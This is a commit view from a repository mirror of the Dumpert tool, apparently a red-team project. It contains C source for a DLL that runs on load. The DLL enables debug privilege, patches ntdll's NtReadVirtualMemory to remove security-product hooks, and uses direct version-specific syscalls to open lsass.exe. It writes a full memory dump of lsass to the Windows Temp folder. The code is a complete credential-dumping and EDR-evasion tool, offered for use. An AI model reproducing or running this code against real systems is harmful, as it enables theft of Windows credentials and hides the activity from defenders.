mirror of
https://github.com/outflanknl/Dumpert.git
synced 2026-06-10 17:31:20 +00:00
First commit
This commit is contained in:
Cn33liz
Executable
+28
@@ -0,0 +1,28 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio Express 14 for Windows Desktop
|
||||
VisualStudioVersion = 14.0.25420.1
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Outflank-Dumpert-DLL", "Outflank-Dumpert-DLL\Outflank-Dumpert-DLL.vcxproj", "{307088B9-2992-4DE7-A57D-9E657B1CE546}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|x64 = Debug|x64
|
||||
Debug|x86 = Debug|x86
|
||||
Release|x64 = Release|x64
|
||||
Release|x86 = Release|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{307088B9-2992-4DE7-A57D-9E657B1CE546}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{307088B9-2992-4DE7-A57D-9E657B1CE546}.Debug|x64.Build.0 = Debug|x64
|
||||
{307088B9-2992-4DE7-A57D-9E657B1CE546}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{307088B9-2992-4DE7-A57D-9E657B1CE546}.Debug|x86.Build.0 = Debug|Win32
|
||||
{307088B9-2992-4DE7-A57D-9E657B1CE546}.Release|x64.ActiveCfg = Release|x64
|
||||
{307088B9-2992-4DE7-A57D-9E657B1CE546}.Release|x64.Build.0 = Release|x64
|
||||
{307088B9-2992-4DE7-A57D-9E657B1CE546}.Release|x86.ActiveCfg = Release|Win32
|
||||
{307088B9-2992-4DE7-A57D-9E657B1CE546}.Release|x86.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
Executable
+321
@@ -0,0 +1,321 @@
|
||||
#undef _UNICODE
|
||||
#define _UNICODE
|
||||
#undef UNICODE
|
||||
#define UNICODE
|
||||
|
||||
#include <Windows.h>
|
||||
#include <stdio.h>
|
||||
#include "Dumpert.h"
|
||||
#include <DbgHelp.h>
|
||||
|
||||
#pragma comment (lib, "Dbghelp.lib")
|
||||
|
||||
|
||||
BOOL Unhook_NativeAPI(IN PWIN_VER_INFO pWinVerInfo) {
|
||||
BYTE AssemblyBytes[] = {0x4C, 0x8B, 0xD1, 0xB8, 0xFF};
|
||||
|
||||
if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"10.0") == 0) {
|
||||
AssemblyBytes[4] = pWinVerInfo->SystemCall;
|
||||
ZwWriteVirtualMemory = &ZwWriteVirtualMemory10;
|
||||
ZwProtectVirtualMemory = &ZwProtectVirtualMemory10;
|
||||
}
|
||||
else if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"6.1") == 0 && pWinVerInfo->dwBuildNumber == 7601) {
|
||||
AssemblyBytes[4] = pWinVerInfo->SystemCall;
|
||||
ZwWriteVirtualMemory = &ZwWriteVirtualMemory7SP1;
|
||||
ZwProtectVirtualMemory = &ZwProtectVirtualMemory7SP1;
|
||||
}
|
||||
else if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"6.2") == 0) {
|
||||
AssemblyBytes[4] = pWinVerInfo->SystemCall;
|
||||
ZwWriteVirtualMemory = &ZwWriteVirtualMemory80;
|
||||
ZwProtectVirtualMemory = &ZwProtectVirtualMemory80;
|
||||
}
|
||||
else if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"6.3") == 0) {
|
||||
AssemblyBytes[4] = pWinVerInfo->SystemCall;
|
||||
ZwWriteVirtualMemory = &ZwWriteVirtualMemory81;
|
||||
ZwProtectVirtualMemory = &ZwProtectVirtualMemory81;
|
||||
}
|
||||
else {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
LPVOID lpProcAddress = GetProcAddress(LoadLibrary(L"ntdll.dll"), pWinVerInfo->lpApiCall);
|
||||
|
||||
ULONG OldProtection, NewProtection;
|
||||
SIZE_T uSize = 10;
|
||||
NTSTATUS status = ZwProtectVirtualMemory(GetCurrentProcess(), &lpProcAddress, &uSize, PAGE_EXECUTE_READWRITE, &OldProtection);
|
||||
if (status != STATUS_SUCCESS) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
status = ZwWriteVirtualMemory(GetCurrentProcess(), lpProcAddress, (PVOID)AssemblyBytes, sizeof(AssemblyBytes), NULL);
|
||||
if (status != STATUS_SUCCESS) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
status = ZwProtectVirtualMemory(GetCurrentProcess(), &lpProcAddress, &uSize, OldProtection, &NewProtection);
|
||||
if (status != STATUS_SUCCESS) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL GetPID(IN PWIN_VER_INFO pWinVerInfo) {
|
||||
pWinVerInfo->hTargetPID = NULL;
|
||||
|
||||
if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"10.0") == 0) {
|
||||
ZwQuerySystemInformation = &ZwQuerySystemInformation10;
|
||||
NtAllocateVirtualMemory = &NtAllocateVirtualMemory10;
|
||||
NtFreeVirtualMemory = &NtFreeVirtualMemory10;
|
||||
}
|
||||
else if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"6.1") == 0 && pWinVerInfo->dwBuildNumber == 7601) {
|
||||
ZwQuerySystemInformation = &ZwQuerySystemInformation7SP1;
|
||||
NtAllocateVirtualMemory = &NtAllocateVirtualMemory7SP1;
|
||||
NtFreeVirtualMemory = &NtFreeVirtualMemory7SP1;
|
||||
}
|
||||
else if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"6.2") == 0) {
|
||||
ZwQuerySystemInformation = &ZwQuerySystemInformation80;
|
||||
NtAllocateVirtualMemory = &NtAllocateVirtualMemory80;
|
||||
NtFreeVirtualMemory = &NtFreeVirtualMemory80;
|
||||
}
|
||||
else if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"6.3") == 0) {
|
||||
ZwQuerySystemInformation = &ZwQuerySystemInformation81;
|
||||
NtAllocateVirtualMemory = &NtAllocateVirtualMemory81;
|
||||
NtFreeVirtualMemory = &NtFreeVirtualMemory81;
|
||||
}
|
||||
else {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
ULONG uReturnLength = 0;
|
||||
NTSTATUS status = ZwQuerySystemInformation(SystemProcessInformation, 0, 0, &uReturnLength);
|
||||
if (!status == 0xc0000004) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
LPVOID pBuffer = NULL;
|
||||
SIZE_T uSize = uReturnLength;
|
||||
status = NtAllocateVirtualMemory(GetCurrentProcess(), &pBuffer, 0, &uSize, MEM_COMMIT, PAGE_READWRITE);
|
||||
if (status != 0) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
status = ZwQuerySystemInformation(SystemProcessInformation, pBuffer, uReturnLength, &uReturnLength);
|
||||
if (status != 0) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
_RtlEqualUnicodeString RtlEqualUnicodeString = (_RtlEqualUnicodeString)
|
||||
GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlEqualUnicodeString");
|
||||
if (RtlEqualUnicodeString == NULL) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
PSYSTEM_PROCESSES pProcInfo = (PSYSTEM_PROCESSES)pBuffer;
|
||||
do {
|
||||
if (RtlEqualUnicodeString(&pProcInfo->ProcessName, &pWinVerInfo->ProcName, TRUE)) {
|
||||
pWinVerInfo->hTargetPID = pProcInfo->ProcessId;
|
||||
break;
|
||||
}
|
||||
pProcInfo = (PSYSTEM_PROCESSES)(((LPBYTE)pProcInfo) + pProcInfo->NextEntryDelta);
|
||||
|
||||
} while (pProcInfo);
|
||||
|
||||
status = NtFreeVirtualMemory(GetCurrentProcess(), &pBuffer, &uSize, MEM_RELEASE);
|
||||
|
||||
if (pWinVerInfo->hTargetPID == NULL) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL IsElevated() {
|
||||
BOOL fRet = FALSE;
|
||||
HANDLE hToken = NULL;
|
||||
if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
|
||||
TOKEN_ELEVATION Elevation = { 0 };
|
||||
DWORD cbSize = sizeof(TOKEN_ELEVATION);
|
||||
if (GetTokenInformation(hToken, TokenElevation, &Elevation, sizeof(Elevation), &cbSize)) {
|
||||
fRet = Elevation.TokenIsElevated;
|
||||
}
|
||||
}
|
||||
if (hToken) {
|
||||
CloseHandle(hToken);
|
||||
}
|
||||
return fRet;
|
||||
}
|
||||
|
||||
BOOL SetDebugPrivilege() {
|
||||
HANDLE hToken = NULL;
|
||||
TOKEN_PRIVILEGES TokenPrivileges = { 0 };
|
||||
|
||||
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken)) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
TokenPrivileges.PrivilegeCount = 1;
|
||||
TokenPrivileges.Privileges[0].Attributes = TRUE ? SE_PRIVILEGE_ENABLED : 0;
|
||||
|
||||
LPWSTR lpwPriv = L"SeDebugPrivilege";
|
||||
if (!LookupPrivilegeValueW(NULL, (LPCWSTR)lpwPriv, &TokenPrivileges.Privileges[0].Luid)) {
|
||||
CloseHandle(hToken);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (!AdjustTokenPrivileges(hToken, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) {
|
||||
CloseHandle(hToken);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
CloseHandle(hToken);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
__declspec(dllexport) void __cdecl Dump() {
|
||||
|
||||
if (sizeof(LPVOID) != 8) {
|
||||
exit(1);
|
||||
}
|
||||
|
||||
if (!IsElevated()) {
|
||||
exit(1);
|
||||
}
|
||||
|
||||
SetDebugPrivilege();
|
||||
|
||||
PWIN_VER_INFO pWinVerInfo = (PWIN_VER_INFO)calloc(1, sizeof(WIN_VER_INFO));
|
||||
|
||||
// First set OS Version/Architecture specific values
|
||||
OSVERSIONINFOEXW osInfo;
|
||||
osInfo.dwOSVersionInfoSize = sizeof(osInfo);
|
||||
|
||||
_RtlGetVersion RtlGetVersion = (_RtlGetVersion)
|
||||
GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlGetVersion");
|
||||
if (RtlGetVersion == NULL) {
|
||||
exit(1);
|
||||
}
|
||||
|
||||
RtlGetVersion(&osInfo);
|
||||
swprintf_s(pWinVerInfo->chOSMajorMinor, _countof(pWinVerInfo->chOSMajorMinor), L"%u.%u", osInfo.dwMajorVersion, osInfo.dwMinorVersion);
|
||||
pWinVerInfo->dwBuildNumber = osInfo.dwBuildNumber;
|
||||
|
||||
// Now create os/build specific syscall function pointers.
|
||||
if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"10.0") == 0) {
|
||||
ZwOpenProcess = &ZwOpenProcess10;
|
||||
ZwClose = &ZwClose10;
|
||||
NtCreateFile = &NtCreateFile10;
|
||||
pWinVerInfo->SystemCall = 0x3F;
|
||||
}
|
||||
else if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"6.1") == 0 && osInfo.dwBuildNumber == 7601) {
|
||||
ZwOpenProcess = &ZwOpenProcess7SP1;
|
||||
ZwClose = &ZwClose7SP1;
|
||||
NtCreateFile = &NtCreateFile7SP1;
|
||||
pWinVerInfo->SystemCall = 0x3C;
|
||||
}
|
||||
else if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"6.2") == 0) {
|
||||
ZwOpenProcess = &ZwOpenProcess80;
|
||||
ZwClose = &ZwClose80;
|
||||
NtCreateFile = &NtCreateFile80;
|
||||
pWinVerInfo->SystemCall = 0x3D;
|
||||
}
|
||||
else if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"6.3") == 0) {
|
||||
ZwOpenProcess = &ZwOpenProcess81;
|
||||
ZwClose = &ZwClose81;
|
||||
NtCreateFile = &NtCreateFile81;
|
||||
pWinVerInfo->SystemCall = 0x3E;
|
||||
}
|
||||
else {
|
||||
exit(1);
|
||||
}
|
||||
|
||||
_RtlInitUnicodeString RtlInitUnicodeString = (_RtlInitUnicodeString)
|
||||
GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlInitUnicodeString");
|
||||
if (RtlInitUnicodeString == NULL) {
|
||||
exit(1);
|
||||
}
|
||||
|
||||
RtlInitUnicodeString(&pWinVerInfo->ProcName, L"lsass.exe");
|
||||
|
||||
if (!GetPID(pWinVerInfo)) {
|
||||
exit(1);
|
||||
}
|
||||
|
||||
pWinVerInfo->lpApiCall = "NtReadVirtualMemory";
|
||||
|
||||
if (!Unhook_NativeAPI(pWinVerInfo)) {
|
||||
exit(1);
|
||||
}
|
||||
|
||||
HANDLE hProcess = NULL;
|
||||
OBJECT_ATTRIBUTES ObjectAttributes;
|
||||
InitializeObjectAttributes(&ObjectAttributes, NULL, 0, NULL, NULL);
|
||||
CLIENT_ID uPid = { 0 };
|
||||
|
||||
uPid.UniqueProcess = pWinVerInfo->hTargetPID;
|
||||
uPid.UniqueThread = (HANDLE)0;
|
||||
|
||||
NTSTATUS status = ZwOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &ObjectAttributes, &uPid);
|
||||
if (hProcess == NULL) {
|
||||
exit(1);
|
||||
}
|
||||
|
||||
WCHAR chDmpFile[MAX_PATH] = L"\\??\\";
|
||||
WCHAR chWinPath[MAX_PATH];
|
||||
GetWindowsDirectory(chWinPath, MAX_PATH);
|
||||
wcscat_s(chDmpFile, sizeof(chDmpFile) / sizeof(wchar_t), chWinPath);
|
||||
wcscat_s(chDmpFile, sizeof(chDmpFile) / sizeof(wchar_t), L"\\Temp\\dumpert.dmp");
|
||||
|
||||
UNICODE_STRING uFileName;
|
||||
RtlInitUnicodeString(&uFileName, chDmpFile);
|
||||
|
||||
HANDLE hDmpFile = NULL;
|
||||
IO_STATUS_BLOCK IoStatusBlock;
|
||||
ZeroMemory(&IoStatusBlock, sizeof(IoStatusBlock));
|
||||
OBJECT_ATTRIBUTES FileObjectAttributes;
|
||||
InitializeObjectAttributes(&FileObjectAttributes, &uFileName, OBJ_CASE_INSENSITIVE, NULL, NULL);
|
||||
|
||||
// Open input file for writing, overwrite existing file.
|
||||
status = NtCreateFile(&hDmpFile, FILE_GENERIC_WRITE, &FileObjectAttributes, &IoStatusBlock, 0,
|
||||
FILE_ATTRIBUTE_NORMAL, FILE_SHARE_WRITE, FILE_OVERWRITE_IF, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0);
|
||||
|
||||
if (hDmpFile == INVALID_HANDLE_VALUE) {
|
||||
ZwClose(hProcess);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
DWORD dwTargetPID = GetProcessId(hProcess);
|
||||
BOOL Success = MiniDumpWriteDump(hProcess,
|
||||
dwTargetPID,
|
||||
hDmpFile,
|
||||
MiniDumpWithFullMemory,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL);
|
||||
|
||||
ZwClose(hDmpFile);
|
||||
ZwClose(hProcess);
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
BOOL APIENTRY DllMain(
|
||||
HINSTANCE hinstDLL,
|
||||
DWORD fdwReason,
|
||||
LPVOID lpReserved)
|
||||
{
|
||||
|
||||
switch (fdwReason)
|
||||
{
|
||||
case DLL_PROCESS_ATTACH:
|
||||
Dump();
|
||||
break;
|
||||
case DLL_THREAD_ATTACH:
|
||||
break;
|
||||
case DLL_THREAD_DETACH:
|
||||
break;
|
||||
case DLL_PROCESS_DETACH:
|
||||
break;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
Executable
+209
@@ -0,0 +1,209 @@
|
||||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
|
||||
#define STATUS_SUCCESS 0
|
||||
#define OBJ_CASE_INSENSITIVE 0x00000040L
|
||||
#define FILE_OVERWRITE_IF 0x00000005
|
||||
#define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020
|
||||
typedef LONG KPRIORITY;
|
||||
|
||||
#define InitializeObjectAttributes( i, o, a, r, s ) { \
|
||||
(i)->Length = sizeof( OBJECT_ATTRIBUTES ); \
|
||||
(i)->RootDirectory = r; \
|
||||
(i)->Attributes = a; \
|
||||
(i)->ObjectName = o; \
|
||||
(i)->SecurityDescriptor = s; \
|
||||
(i)->SecurityQualityOfService = NULL; \
|
||||
}
|
||||
|
||||
typedef struct _UNICODE_STRING {
|
||||
USHORT Length;
|
||||
USHORT MaximumLength;
|
||||
PWSTR Buffer;
|
||||
} UNICODE_STRING, *PUNICODE_STRING;
|
||||
|
||||
typedef const UNICODE_STRING* PCUNICODE_STRING;
|
||||
|
||||
typedef struct _WIN_VER_INFO {
|
||||
WCHAR chOSMajorMinor[8];
|
||||
DWORD dwBuildNumber;
|
||||
UNICODE_STRING ProcName;
|
||||
HANDLE hTargetPID;
|
||||
LPCSTR lpApiCall;
|
||||
INT SystemCall;
|
||||
} WIN_VER_INFO, *PWIN_VER_INFO;
|
||||
|
||||
typedef struct _OBJECT_ATTRIBUTES {
|
||||
ULONG Length;
|
||||
HANDLE RootDirectory;
|
||||
PUNICODE_STRING ObjectName;
|
||||
ULONG Attributes;
|
||||
PVOID SecurityDescriptor;
|
||||
PVOID SecurityQualityOfService;
|
||||
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
|
||||
|
||||
typedef struct _CLIENT_ID {
|
||||
HANDLE UniqueProcess;
|
||||
HANDLE UniqueThread;
|
||||
} CLIENT_ID, *PCLIENT_ID;
|
||||
|
||||
typedef enum _SYSTEM_INFORMATION_CLASS {
|
||||
SystemBasicInformation,
|
||||
SystemProcessorInformation,
|
||||
SystemPerformanceInformation,
|
||||
SystemTimeOfDayInformation,
|
||||
SystemPathInformation,
|
||||
SystemProcessInformation,
|
||||
SystemCallCountInformation,
|
||||
SystemDeviceInformation,
|
||||
SystemProcessorPerformanceInformation,
|
||||
SystemFlagsInformation,
|
||||
SystemCallTimeInformation,
|
||||
SystemModuleInformation
|
||||
} SYSTEM_INFORMATION_CLASS, *PSYSTEM_INFORMATION_CLASS;
|
||||
|
||||
typedef struct _SYSTEM_PROCESSES {
|
||||
ULONG NextEntryDelta;
|
||||
ULONG ThreadCount;
|
||||
ULONG Reserved1[6];
|
||||
LARGE_INTEGER CreateTime;
|
||||
LARGE_INTEGER UserTime;
|
||||
LARGE_INTEGER KernelTime;
|
||||
UNICODE_STRING ProcessName;
|
||||
KPRIORITY BasePriority;
|
||||
HANDLE ProcessId;
|
||||
HANDLE InheritedFromProcessId;
|
||||
} SYSTEM_PROCESSES, *PSYSTEM_PROCESSES;
|
||||
|
||||
typedef struct _IO_STATUS_BLOCK
|
||||
{
|
||||
union
|
||||
{
|
||||
LONG Status;
|
||||
PVOID Pointer;
|
||||
};
|
||||
ULONG Information;
|
||||
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;
|
||||
|
||||
|
||||
// Windows 7 SP1 / Server 2008 R2 specific Syscalls
|
||||
EXTERN_C NTSTATUS NtAllocateVirtualMemory7SP1(HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect);
|
||||
EXTERN_C NTSTATUS NtFreeVirtualMemory7SP1(HANDLE ProcessHandle, PVOID *BaseAddress, IN OUT PSIZE_T RegionSize, ULONG FreeType);
|
||||
EXTERN_C NTSTATUS ZwOpenProcess7SP1(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId);
|
||||
EXTERN_C NTSTATUS ZwClose7SP1(IN HANDLE KeyHandle);
|
||||
EXTERN_C NTSTATUS ZwWriteVirtualMemory7SP1(HANDLE hProcess, PVOID lpBaseAddress, PVOID lpBuffer, SIZE_T NumberOfBytesToRead, PSIZE_T NumberOfBytesRead);
|
||||
EXTERN_C NTSTATUS ZwProtectVirtualMemory7SP1(IN HANDLE ProcessHandle, IN PVOID* BaseAddress, IN SIZE_T* NumberOfBytesToProtect, IN ULONG NewAccessProtection, OUT PULONG OldAccessProtection);
|
||||
EXTERN_C NTSTATUS WINAPI ZwQuerySystemInformation7SP1(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);
|
||||
EXTERN_C NTSTATUS NtCreateFile7SP1(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, PLARGE_INTEGER AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength);
|
||||
|
||||
// Windows 8 / Server 2012 specific Syscalls
|
||||
EXTERN_C NTSTATUS NtAllocateVirtualMemory80(HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect);
|
||||
EXTERN_C NTSTATUS NtFreeVirtualMemory80(HANDLE ProcessHandle, PVOID *BaseAddress, IN OUT PSIZE_T RegionSize, ULONG FreeType);
|
||||
EXTERN_C NTSTATUS ZwOpenProcess80(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId);
|
||||
EXTERN_C NTSTATUS ZwClose80(IN HANDLE KeyHandle);
|
||||
EXTERN_C NTSTATUS ZwWriteVirtualMemory80(HANDLE hProcess, PVOID lpBaseAddress, PVOID lpBuffer, SIZE_T NumberOfBytesToRead, PSIZE_T NumberOfBytesRead);
|
||||
EXTERN_C NTSTATUS ZwProtectVirtualMemory80(IN HANDLE ProcessHandle, IN PVOID* BaseAddress, IN SIZE_T* NumberOfBytesToProtect, IN ULONG NewAccessProtection, OUT PULONG OldAccessProtection);
|
||||
EXTERN_C NTSTATUS WINAPI ZwQuerySystemInformation80(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);
|
||||
EXTERN_C NTSTATUS NtCreateFile80(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, PLARGE_INTEGER AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength);
|
||||
|
||||
|
||||
// Windows 8.1 / Server 2012 R2 specific Syscalls
|
||||
EXTERN_C NTSTATUS NtAllocateVirtualMemory81(HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect);
|
||||
EXTERN_C NTSTATUS NtFreeVirtualMemory81(HANDLE ProcessHandle, PVOID *BaseAddress, IN OUT PSIZE_T RegionSize, ULONG FreeType);
|
||||
EXTERN_C NTSTATUS ZwOpenProcess81(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId);
|
||||
EXTERN_C NTSTATUS ZwClose81(IN HANDLE KeyHandle);
|
||||
EXTERN_C NTSTATUS ZwWriteVirtualMemory81(HANDLE hProcess, PVOID lpBaseAddress, PVOID lpBuffer, SIZE_T NumberOfBytesToRead, PSIZE_T NumberOfBytesRead);
|
||||
EXTERN_C NTSTATUS ZwProtectVirtualMemory81(IN HANDLE ProcessHandle, IN PVOID* BaseAddress, IN SIZE_T* NumberOfBytesToProtect, IN ULONG NewAccessProtection, OUT PULONG OldAccessProtection);
|
||||
EXTERN_C NTSTATUS WINAPI ZwQuerySystemInformation81(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);
|
||||
EXTERN_C NTSTATUS NtCreateFile81(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, PLARGE_INTEGER AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength);
|
||||
|
||||
|
||||
// Windows 10 / Server 2016 specific Syscalls
|
||||
EXTERN_C NTSTATUS NtAllocateVirtualMemory10(HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect);
|
||||
EXTERN_C NTSTATUS NtFreeVirtualMemory10(HANDLE ProcessHandle, PVOID *BaseAddress, IN OUT PSIZE_T RegionSize, ULONG FreeType);
|
||||
EXTERN_C NTSTATUS ZwOpenProcess10(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId);
|
||||
EXTERN_C NTSTATUS ZwClose10(IN HANDLE KeyHandle);
|
||||
EXTERN_C NTSTATUS ZwWriteVirtualMemory10(HANDLE hProcess, PVOID lpBaseAddress, PVOID lpBuffer, SIZE_T NumberOfBytesToRead, PSIZE_T NumberOfBytesRead);
|
||||
EXTERN_C NTSTATUS ZwProtectVirtualMemory10(IN HANDLE ProcessHandle, IN PVOID* BaseAddress, IN SIZE_T* NumberOfBytesToProtect, IN ULONG NewAccessProtection, OUT PULONG OldAccessProtection);
|
||||
EXTERN_C NTSTATUS WINAPI ZwQuerySystemInformation10(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);
|
||||
EXTERN_C NTSTATUS NtCreateFile10(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, PLARGE_INTEGER AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength);
|
||||
|
||||
NTSTATUS(*NtAllocateVirtualMemory)(
|
||||
HANDLE ProcessHandle,
|
||||
PVOID *BaseAddress,
|
||||
ULONG_PTR ZeroBits,
|
||||
PSIZE_T RegionSize,
|
||||
ULONG AllocationType,
|
||||
ULONG Protect
|
||||
);
|
||||
|
||||
NTSTATUS(*NtFreeVirtualMemory)(
|
||||
HANDLE ProcessHandle,
|
||||
PVOID *BaseAddress,
|
||||
IN OUT PSIZE_T RegionSize,
|
||||
ULONG FreeType
|
||||
);
|
||||
|
||||
NTSTATUS(*ZwOpenProcess)(
|
||||
PHANDLE ProcessHandle,
|
||||
ACCESS_MASK DesiredAccess,
|
||||
POBJECT_ATTRIBUTES ObjectAttributes,
|
||||
PCLIENT_ID ClientId
|
||||
);
|
||||
|
||||
NTSTATUS(WINAPI *ZwQuerySystemInformation)(
|
||||
SYSTEM_INFORMATION_CLASS SystemInformationClass,
|
||||
PVOID SystemInformation,
|
||||
ULONG SystemInformationLength,
|
||||
PULONG ReturnLength
|
||||
);
|
||||
|
||||
NTSTATUS(*ZwWriteVirtualMemory)(
|
||||
HANDLE hProcess,
|
||||
PVOID lpBaseAddress,
|
||||
PVOID lpBuffer,
|
||||
SIZE_T NumberOfBytesToRead,
|
||||
PSIZE_T NumberOfBytesRead
|
||||
);
|
||||
|
||||
NTSTATUS(*ZwProtectVirtualMemory)(
|
||||
IN HANDLE ProcessHandle,
|
||||
IN PVOID* BaseAddress,
|
||||
IN SIZE_T* NumberOfBytesToProtect,
|
||||
IN ULONG NewAccessProtection,
|
||||
OUT PULONG OldAccessProtection
|
||||
);
|
||||
|
||||
NTSTATUS(*NtCreateFile)(
|
||||
PHANDLE FileHandle,
|
||||
ACCESS_MASK DesiredAccess,
|
||||
POBJECT_ATTRIBUTES ObjectAttributes,
|
||||
PIO_STATUS_BLOCK IoStatusBlock,
|
||||
PLARGE_INTEGER AllocationSize,
|
||||
ULONG FileAttributes,
|
||||
ULONG ShareAccess,
|
||||
ULONG CreateDisposition,
|
||||
ULONG CreateOptions,
|
||||
PVOID EaBuffer,
|
||||
ULONG EaLength
|
||||
);
|
||||
|
||||
NTSTATUS(*ZwClose)(
|
||||
IN HANDLE KeyHandle
|
||||
);
|
||||
|
||||
typedef NTSTATUS(NTAPI *_RtlGetVersion)(
|
||||
LPOSVERSIONINFOEXW lpVersionInformation
|
||||
);
|
||||
|
||||
typedef void (WINAPI* _RtlInitUnicodeString)(
|
||||
PUNICODE_STRING DestinationString,
|
||||
PCWSTR SourceString
|
||||
);
|
||||
|
||||
typedef NTSYSAPI BOOLEAN(NTAPI *_RtlEqualUnicodeString)(
|
||||
PUNICODE_STRING String1,
|
||||
PCUNICODE_STRING String2,
|
||||
BOOLEAN CaseInSensitive
|
||||
);
|
||||
@@ -0,0 +1,128 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
